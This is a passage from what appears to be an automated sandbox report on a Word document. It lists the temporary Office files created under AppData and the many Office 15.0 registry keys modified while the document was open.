  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9962.tmp\\APASixthEditionOfficeOnline.xsl",
  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9B6C.tmp\\architecture.glox",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA709.tmp",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9056.tmp",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9069.tmp",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA521.tmp",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA570.tmp",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA044.tmp\\HexagonRadial.glox",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8EF.tmp",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9001.tmp",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0E6.tmp\\View.thmx",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1B7.tmp\\Dividend.thmx",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93C2.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA004.tmp\\Banded.thmx",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\cab913B.tmp",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA185.tmp\\Element design set.dotx",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9257.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4DF.tmp\\CircleProcess.glox",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\cab908C.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\cab946F.tmp",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1E8.tmp\\Headlines.thmx",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FE4.tmp\\Crop.thmx",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA196.tmp\\Basis.thmx",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9354.tmp",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA452.tmp\\InterconnectedBlockProcess.glox",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9ACD.tmp\\gostname.xsl",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\cab918B.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA238.tmp\\gosttitle.xsl",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9296.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABB0.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\cab907A.tmp",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABDF.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\cab913A.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9044.tmp",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA117.tmp\\ThemePictureAccent.glox",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9022.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA075.tmp\\VaryingWidthList.glox",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E3B.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9058.tmp",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FDA.tmp",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA510.tmp\\Berlin.thmx",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA228.tmp\\Parallax.thmx",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6AA.tmp\\rings.glox",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5EE.tmp\\RadialPictureList.glox",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FFF.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9776.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9942.tmp",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA055.tmp\\pictureorgchart.glox",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FEC.tmp",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9000.tmp",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAE24.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8EF.tmp\\Equations.dotx",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9045.tmp",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA259.tmp\\Circuit.thmx",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA346.tmp\\Wood_Type.thmx",
  1288. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98C1.tmp",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA335.tmp\\chicago.xsl",
  1290. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9079.tmp",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4E0.tmp\\iso690.xsl",
  1292. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABB0.tmp\\Quotable.thmx",
  1293. "C:\\Users\\user\\AppData\\Local\\Temp\\cab916B.tmp",
  1294. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9901.tmp",
  1295. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB117.tmp",
  1296. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB127.tmp",
  1297. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB138.tmp",
  1298. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAEB2.tmp\\Metropolitan.thmx",
  1299. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB1E5.tmp",
  1300. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9DDA.tmp",
  1301. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB127.tmp\\TabbedArc.glox",
  1302. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FEB.tmp",
  1303. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAE24.tmp\\Slate.thmx",
  1304. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0F7.tmp",
  1305. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB437.tmp",
  1306. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA709.tmp\\mlaseventheditionofficeonline.xsl",
  1307. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB467.tmp",
  1308. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9057.tmp",
  1309. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABDF.tmp\\Droplet.thmx",
  1310. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB117.tmp\\Savon.thmx",
  1311. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB138.tmp\\sist02.xsl",
  1312. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA2A8.tmp",
  1313. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9DA7.tmp",
  1314. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FEA.tmp",
  1315. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB533.tmp",
  1316. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB1E5.tmp\\Feathered.thmx",
  1317. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA7F4.tmp",
  1318. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5E0.tmp",
  1319. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB749.tmp",
  1320. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB437.tmp\\Main_Event.thmx",
  1321. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE34.tmp",
  1322. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB467.tmp\\Mesh.thmx",
  1323. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5E0.tmp\\Insight design set.dotx",
  1324. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB533.tmp\\Vapor_Trail.thmx",
  1325. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA366.tmp",
  1326. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF4F.tmp",
  1327. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB749.tmp\\Damask.thmx",
  1328. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAD19.tmp",
  1329. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB0B8.tmp",
  1330. "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_299dad897d77030b8fdcbe6396e8561b.doc",
  1331. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1332. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS852699C8-C00F-4B66-A19D-9EBA640D770B.tmp",
  1333. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS6C640C47-72A1-4D16-8AA2-6EF86E04C1ED.tmp",
  1334. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSF0776369-68B5-44EE-91BF-5CE17AAA05BE.tmp",
  1335. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR5FE8.tmp.cvr"
  1336.  
  1337.  
  1338. * Modified Registry Keys:
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\:$,",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\A16FA3",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\A16FA3\\A16FB2",
  1350. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
